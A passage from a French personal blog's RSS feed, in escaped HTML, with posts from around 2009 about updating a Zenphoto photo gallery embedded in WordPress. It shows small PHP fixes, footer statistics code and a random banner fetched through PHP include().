semble autant rebuter les humains que les machines&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Enfin, je n&amp;rsquo;étais pas spécialement content de l&amp;rsquo;apparence du formulaire de recherche.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai donc viré la captcha, je verrais si je reçois toujours des spams, et si d&amp;rsquo;autres moyens (comme &lt;em&gt;askimet&lt;/em&gt; ou &lt;em&gt;spamassassin&lt;/em&gt;) ne peuvent être employés, zenphoto en accepte plusieurs. J&amp;rsquo;ai revu le formulaire, il est maintenant plus joli :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;entrer un commentaire&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;327px&#34; data-flex-grow=&#34;136&#34; height=&#34;280&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/1821/commentaires.png&#34; width=&#34;382&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Et après la mise à jour, le message d&amp;rsquo;erreur avait effectivement disparu. Les commentaires sont donc ouverts pour les photos du Lambon, journée de dimanche, qui ne va pas tarder à arriver !&lt;/p&gt;&#xA;&lt;h3 id=&#34;notes-de-mise-à-jour&#34;&gt;Notes de mise à jour&#xA;&lt;/h3&gt;&lt;p&gt;Pour mémoire, voilà les petits soucis durant la mise à jour :&lt;/p&gt;&#xA;&lt;p&gt;1. Message d&amp;rsquo;erreur sur le blog Wordpress lors de l&amp;rsquo;affichage de la bannière&lt;/p&gt;&#xA;&lt;p&gt;La bannière s&amp;rsquo;affichait bien, mais juste au-dessus le message suivant apparaissait :&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Use of undefined constant silent - assumed &amp;lsquo;silent&amp;rsquo; in /var/www/wordpress/zenphoto/themes/testing-dev/heading.php on line 4&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Après une &lt;a class=&#34;link&#34; href=&#34;http://www.zenphoto.org/support/topic.php?id=5639&#34;  title=&#34;question sur le forum de zenphoto&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;question&lt;/a&gt; sur le forum de zenphoto, il fallait modifier le fichier &lt;strong&gt;heading.php&lt;/strong&gt; : utiliser &amp;rsquo;true&amp;rsquo; au lieu de &amp;lsquo;silent&amp;rsquo; comme paramètre de la fonction checkforPassword(), et de préférence utiliser la nouvelle fonction newImage(). Ce qui donne ceci :&lt;/p&gt;&#xA;&lt;p&gt;Avant :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;is_null&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;$randomImage&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; checkforPassword&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;silent&lt;span style=&#34;color:#f92672&#34;&gt;))&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$randomImage&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; newImage&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;new Album&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;new Gallery&lt;span style=&#34;color:#f92672&#34;&gt;()&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;zen-logo.jpg&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Après :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;is_null&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;$randomImage&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; checkforPassword&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;true&lt;span style=&#34;color:#f92672&#34;&gt;))&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$randomImage&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; newImage&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;new Album&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;new Gallery&lt;span style=&#34;color:#f92672&#34;&gt;()&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;zen-logo.jpg&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;2. La zone de recherche&lt;/p&gt;&#xA;&lt;p&gt;Un bouton permettant de sélectionner les catégories de recherche, inutile à mon goût, apparaissait. De plus, le bouton &lt;strong&gt;Chercher&lt;/strong&gt; s&amp;rsquo;affichait alors une ligne en dessous :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;un bouton de trop&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;649px&#34; data-flex-grow=&#34;270&#34; height=&#34;113&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/1821/recherche.png&#34; width=&#34;306&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Pour supprimer ce bouton, il faut éditer le fichier template-functions.php dans le répertoire zp-core, et supprimer les lignes suivantes (4024, 4025 et 4026) :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;count&lt;/span&gt;($fields) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;) { &lt;span style=&#34;color:#75715e&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;a href=&amp;#34;javascript:toggle(&amp;#39;searchextrashow&amp;#39;);&amp;#34;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Et donc à refaire après chaque mise à jour&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;3. Fonction &lt;strong&gt;show_subalbum_count()&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Cette fonction me permettait d&amp;rsquo;afficher en bas de page le nombre de sous-albums. Apparemment, elle n&amp;rsquo;existe plus, et il faut utiliser &lt;strong&gt;get_subalbum_count()&lt;/strong&gt; à la place.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai dû également modifier le fichier customfunctions.php pour que tout s&amp;rsquo;affiche correctement, c&amp;rsquo;est-à-dire remplacer &amp;lsquo;print&amp;rsquo; par &amp;rsquo;echo&amp;rsquo; :&lt;/p&gt;&#xA;&lt;p&gt;Avant :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;get_subalbum_count&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;$sql &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;SELECT COUNT(id) FROM &amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;prefix&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;albums&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34; WHERE parentid IS NOT NULL&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;zp_loggedin&lt;/span&gt;()) {$sql &lt;span style=&#34;color:#f92672&#34;&gt;.=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34; AND `show` = 1&amp;#34;&lt;/span&gt;; }  &lt;span style=&#34;color:#75715e&#34;&gt;/* exclude the unpublished albums */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;$result &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;query&lt;/span&gt;($sql);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;$count &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mysql_result&lt;/span&gt;($result, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;print&lt;/span&gt; $count;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Après :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;get_subalbum_count&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;$sql &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;SELECT COUNT(id) FROM &amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;prefix&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;albums&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34; WHERE parentid IS NOT NULL&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;zp_loggedin&lt;/span&gt;()) {$sql &lt;span style=&#34;color:#f92672&#34;&gt;.=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34; AND `show` = 1&amp;#34;&lt;/span&gt;; }  &lt;span style=&#34;color:#75715e&#34;&gt;/* exclude the unpublished albums */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;$result &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;query&lt;/span&gt;($sql);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;$count &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;mysql_result&lt;/span&gt;($result, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;echo&lt;/span&gt; $count;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Pour rappel, voilà le code qui me sert à afficher le bas de page :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;require&lt;/span&gt; (&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;customfunctions.php&amp;#39;&lt;/span&gt;); &lt;span style=&#34;color:#75715e&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;Albums: &amp;lt;?php $albumNumber = getNumAlbums(); echo $albumNumber ?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;·&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;Sous-Albums:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;·&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;Photos: &amp;lt;?php $photosArray = query_single_row(&amp;#34;SELECT count(*) FROM &amp;#34;.prefix(&amp;#39;images&amp;#39;));&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;$photosNumber = array_shift($photosArray); echo $photosNumber ?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;?php if (getOption(&amp;#39;Allow_comments&amp;#39;)) { ?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;·&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;Commentaires: &amp;lt;?php $commentsArray = query_single_row(&amp;#34;SELECT count(*) FROM &amp;#34;.prefix(&amp;#39;comments&amp;#39;).&amp;#34; WHERE inmoderation = 0&amp;#34;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;$commentsNumber = array_shift($commentsArray); echo $commentsNumber ?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;·&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;?php echo gettext(&amp;#34;Propulsé par zenPHOTO  1.3.1.2&amp;#34;); ?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;script type=&amp;#34;text/javascript&amp;#34;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;var gaJsHost = ((&amp;#34;https:&amp;#34; == document.location.protocol) ? &amp;#34;https://ssl.&amp;#34; : &amp;#34;http://www.&amp;#34;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;document.write(unescape(&amp;#34;%3Cscript src=&amp;#39;&amp;#34; + gaJsHost + &amp;#34;google-analytics.com/ga.js&amp;#39; type=&amp;#39;text/javascript&amp;#39;%3E%3C/script%3E&amp;#34;));&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;script type=&amp;#34;text/javascript&amp;#34;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;try {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;var pageTracker = _gat._getTracker(&amp;#34;UA-10333148-2&amp;#34;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;pageTracker._trackPageview();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;} catch(err) {}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
        </item><item>
            <title>Bannière aléatoire du Blog</title>
            <link>https://pled.fr/banniere-aleatoire/</link>
            <pubDate>Sat, 17 Jan 2009 18:58:37 +0000</pubDate>
            <guid>https://pled.fr/banniere-aleatoire/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;la banniere par défaut&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;banniere.jpg#floatleft&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;La bannière du Blog affiche un extrait d&amp;rsquo;image tiré de l&amp;rsquo;album photo, et ceci grâce une fonctionnalité de Zenphoto.&#xA;J&amp;rsquo;aime bien le principe, d&amp;rsquo;une part parce que la bannière change à chaque chargement (on se lasse d&amp;rsquo;une image, si belle soit-elle), d&amp;rsquo;autre part parce que le découpage de l&amp;rsquo;image (la fonction n&amp;rsquo;extrait qu&amp;rsquo;une zone de la photo) génère une image nouvelle, souvent inattendue.&lt;/p&gt;&#xA;&lt;p&gt;Pour ce faire, j&amp;rsquo;utilise une fonction &lt;strong&gt;php include()&lt;/strong&gt; dans le fichier hearder.php de mon thème, puisqu&amp;rsquo;il s&amp;rsquo;agit d&amp;rsquo;exécuter un bout de code de Zenphoto dans Wordpress :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;header_img&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;include&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://zenphoto.pled.fr/?p=heading&amp;#34;&lt;/span&gt;); &lt;span style=&#34;color:#75715e&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;lt;/div&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Oui mais voilà, depuis quelque temps, les serveurs de Free ont la mauvaise idée de supprimer purement et simplement la fonction de mon code. Résultat, plus de bannière ! Puis elle réapparaît le lendemain, ou quelques jours plus tard.&#xA;J&amp;rsquo;ai posé la question au support de Free, la réponse fut laconique :&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Cher utilisateur,&#xA;Vous nous signalez qu&amp;rsquo;un fonction &amp;ldquo;php include&amp;rdquo; ne marche pas dans votre blog.&#xA;Je suis au regret de vous informer que votre demande est hors support pour l&amp;rsquo;équipe technique de Free.&#xA;Je reste à votre entière disposition pour toute information complémentaire et je vous souhaite une bonne année 2009&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Au moins, c&amp;rsquo;est réglé, aucune explication à attendre de leur part.&lt;/p&gt;&#xA;&lt;p&gt;Je me suis donc tourné vers le forum de &lt;a class=&#34;link&#34; href=&#34;http://www.phpfrance.com/forums/voir_reponse-276083.php#276083&#34;  title=&#34;Forum PHPFrance&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;PHPFrance&lt;/a&gt;, qui m&amp;rsquo;a orienté (réponse très rapide) vers la page de la documentation française détaillant la fonction php include(). Excellente documentation au passage.&lt;/p&gt;&#xA;&lt;p&gt;Mon code est maintenant celui-ci :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;div&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;header_img&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span 